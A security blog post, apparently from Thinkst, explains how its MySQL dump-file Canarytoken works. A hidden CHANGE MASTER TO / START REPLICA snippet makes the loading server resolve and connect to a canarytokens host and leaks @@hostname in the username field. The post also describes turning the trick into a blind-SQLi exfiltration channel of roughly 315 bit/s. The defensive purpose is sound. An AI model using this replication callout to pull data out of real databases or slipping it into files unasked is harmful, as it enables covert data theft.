(The making of a MySQL Canarytoken)
Consider this scenario: An industrious attacker lands on one of your servers and finds a 5MB MySQL dump file (say, called prod_primary.dump). What do they do next?
Typically, they would load this dump-file into a temporary database to rummage through the data.
As soon as they do, you get an email/SMS/alert letting you know:
Eds note: You can create and deploy these by visiting canarytokens.org
(completely free; no registration needed)
There are obvious benefits to these sorts of booby-traps, but some rise above the rest:
- They can be deployed in seconds;
- They aren’t prone to high false-positives;
- An attacker who suspects you are using these is no better off for knowing this (if nothing else, they now have to second-guess everything they touch);
- It’s such a pure illustration of attack-minded defense.
In this post I’m going to write about the process of discovering and building our new MySQL dump-file token.
While working on our recent ThinkstScapes release
I grabbed an archival dump of the Thinkst Con Collector to generate some stats. With an auto-generated dump file, the easiest way to explore the dump is to import it to run queries against it. I used a common Docker one-liner.
docker exec -i mysql_cnt mysql -uroot -proot db < dump.sql
This made me wonder: Could I Canarytoken a dump to let me know when it was being opened like this by an attacker?
There are two base techniques that are used by many of our Canarytokens:
- Can we get the system to surf to a URL we control;
- Can we get the system to lookup a DNS entry that we control;
Forcing a DBMS to reach out to other servers is a classic SQL Injection challenge and past work had laid out techniques [datathief
] to solve this on other DBMSes (Oracle and MSSQL) by leaning heavily on their robust shell programming abilities. MySQL was different though with less functionality in this regard. On my Linux host (or Docker container), I couldn’t use cute tricks like calling a LOAD DATA INFILE
from a file path with a Canary-DNS entry
(e.g., LOAD DATA INFILE ‘\\DNS-entry.thinkst.com’;).
A quick search of attack-minded-blogs seemed to corroborate my thinking, that MySQL was restricted enough to prevent these types of tricks in its default state.
Sizing up the problem
After much fiddling and searching I found a promising lead through database replication.
This was a mixed bag. The community/open-source version of MySQL does support replication but a server would need to be configured (through its config files) to support it. We can’t convince an attacker who stands up a temp MySQL server to first reconfigure their DBMS and I almost gave up. But then in-band-signalling once more saved the day (or led to horrible insecurity). It turns out that these configuration files can be overridden at runtime by SQL commands!
Keep in mind that all we want at this stage is a set of MySQL queries (run on a standard MySQL instance) that will reach out and touch a foreign server somehow.
I set up a netcat listener on a remote server and on the MySQL server side I configured the replication to point to it:
CHANGE MASTER TO MASTER_HOST=’my-server.thinkst.com’, MASTER_PORT=3306, MASTER_USER=’root’, MASTER_PASSWORD=’root’, MASTER_RETRY_COUNT=1;
Then, I typed START REPLICA; and waited.
And waited.. and… nothing. The netcat listener showed no evidence of a connection, and I had nothing on my MySQL session.
Running SHOW REPLICA STATUS; on the MySQL server reveals that the server did try to connect (already now an option for a DNS token), but the connection failed. I replaced netcat with tcpdump and retried the process. This time I did see a connection to my server, but no data was exchanged, and the MySQL status still reported a failure.
A deeper dive into the MySQL Handshake
Turning to the MySQL documentation on how a connection between a client and server is established
, we learn that although the client (or replica-seeking server) initiates the connection, once open the client then waits for the server to return a Handshake packet. This packet describes the server’s capabilities and supported authentication plugins to the client, so they can mutually agree on the fullest feature set for the connection.
We had enough capability at this point to create a DNS-based Canarytoken. Ie.
- Create a unique DNS host-name on a domain we control; (this is done by simply visiting Canarytokens.org and creating a DNS-Canarytoken: we get back something like: 0iep6h5na3p4coxx4hax132b8.canarytokens.com)
- On the MySQL server, issue the commands MASTER_HOST=’0iep6h5na3p4coxx4hax132b8.canarytokens.com; START REPLICA
Even though the actual replication never takes place, the MySQL server resolves the DNS name of the foreign server (effectively tripping the DNS token) and letting us know that it’s happened.
But… While a DNS based canarytoken (like this one) is great at letting us know that something happened (someone ran this mysql import command) it isn’t great at giving us more details. Our DNS server is able to tell that the record 0iep6h5na3p4coxx4hax132b8 was requested, but can only tell us the IP address of the DNS server that made the request.
We can do better.
If we can get the remote server to complete the MySQL handshake, we’d get a connecting IP address and we can possibly stuff more information from the MySQL server into the username/password fields that we submit.
There were a few useful blog posts that helped describe the packet format, but it was a relatively complex encoding that included some fixed-width fields, some NULL-terminated fields, and some packing fields. Since I didn’t need the connection to complete, I simply captured (above figure) the Handshake packet from a real MySQL server (configured to explicitly not support SSL to simplify the next steps), and wrote a small Python server to send those captured bytes to every connection.
This allows the handshake to go further (and lets us submit a username/password combination from MySQL to the foreign server).
This gives us all the pieces we need to create a point-and-click Canarytoken to cover this use case (and we did). Here’s how you can use it.
Using the Canarytoken
In typical Canarytoken style, you then supply just two pieces of information.
- An email address to receive the alert;
- A reminder note to jog your memory when this alert fires;
That’s it. When you hit “Create my Canarytoken”, we give you two quick ways to make use of the token, choose the one that’s best suited for your scenario (likely option 2):
We give you the MySQL snippet you need to add to a MySQL dump of your own. If this statement is included in a dump-file that an attacker loads into their MySQL server, their server will reach out to ours, to let us know it’s happened.
By default, we encode this snippet so that an attacker eyeballing a plundered MySQL dump file doesn’t spot it immediately. If we un-select the “Encode snippet” option (marked as ) we can take a closer look at what’s happening.
The snippet now looks like:
SET @bb = CONCAT(“CHANGE MASTER TO MASTER_PASSWORD=’my-secret-pw’, MASTER_RETRY_COUNT=1, MASTER_PORT=3306, MASTER_HOST=’k5sk4zeo5csej6pps4vkgzmtp.canarytokens.com’, MASTER_USER=’k5sk4zeo5csej6pps4vkgzmtp”, @@lc_time_names, @@hostname, “‘;”);
Notice, we use the unique hostname created by the Canarytoken server as the MASTER_HOST and as part of the MASTER_USER. This means that the attacker’s MySQL server will actually (in the best case) do three things for us:
- Her server will lookup k5sk4zeo5csej6pps4vkgzmtp.canarytokens.com triggering the DNS token and letting us know that the MySQL dump file we left safely on NYC-DC1 was just loaded into MySQL somewhere;
- Her server will connect to our fake MySQL server (which now knows her MySQL Server’s IP address, which is a strong thread to pull on);
- Her server will attempt to login to our fake MySQL server with the username: ‘k5sk4zeo5csej6pps4vkgzmtp”, @@lc_time_names, @@hostname which now gives us more information on the attacker that we can report on when letting you know the token has tripped.
For users who don’t have a mysql dump file lying around (or don’t want to risk creating one with real data), we also offer option-2, where we take a sample MySQL file, run it through a quick mixer to generate some random linked tables with data, and insert the tokened snippet into it. No mess, no fuss. Simply drop the file on your server (or in your dropbox, or in your email) and if you ever get the notification to let you know that it’s been loaded, you know you have a problem.
In many ways, tokens like this are a joy. If you leave this Staff_Salaries-2021.mysql-dump.sql file in your email and forget about it for 10 years, it costs you nothing.
If you get a notification letting you know that the mysql dump you left in your mailbox just got loaded into a MySQL server in $FOREIGN_COUNTRY? That’s priceless.
There’s no chance of it being an accidental alert, and there’s almost no chance that an attacker would find a large enough mysql dump file without loading it into a DB to check it out.
It’s super common for security companies to release attack tooling and then briefly mention some form of defense. We think a full 180° on this trend is worth it.
The START REPLICA technique effectively gives us a usable new method for SQLi exfiltration on MySQL servers. Considering the past work on the offense side, tools from years ago exist to exfiltrate a database if access was limited to [blind] SQLi. There was Data Thief that used Oracle’s functionality to directly pull data to a remote server, and squeeza, which used DNS as a channel for command and control as well as a data channel to the attacker on MSSQL in constrained networks (DNS is usually permitted even if other ports are egress-restricted). In theory this technique could be used as a bandwidth-limited channel to exfiltrate data from a database that has no other egress methods. A domain name can contain up to 253 characters, though some of those will be used for the base domain, as well as the dots to separate the sub-domains. MySQL usernames can only be up to a maximum of 16 characters, so the exfiltration bandwidth is limited to a bit over 200 bytes/replica attempt.
It was simple to modify the Python server I wrote for Canarytoken alerting to collect the usernames and append them into a string buffer, so I quickly prototyped a SEND_STR(str); function in MySQL  that would act as a exfil primitive, coupling that with some code to GROUP_CONCAT rows together, it was easy enough to [slowly] send a table (or select columns therein) from a blind SQLi. To test the speed, I generated a random 1024-character string, and timed sending it: ~26 seconds. This works out to a ~315 bit/s channel only using the username field as an exfil path–plenty to grab some password hashes or payment information. Future work would include using subdomains of a short domain to transmit more data per replica request.
We hope you’ve enjoyed following along in building a new type of Canarytoken, and seeing how this defensive capability is deeply rooted in offense. Once you start thinking about high leverage positions to detect attackers, it’s pretty hard to stop. Once you build some infrastructure to help you do it, doing it more becomes trivial.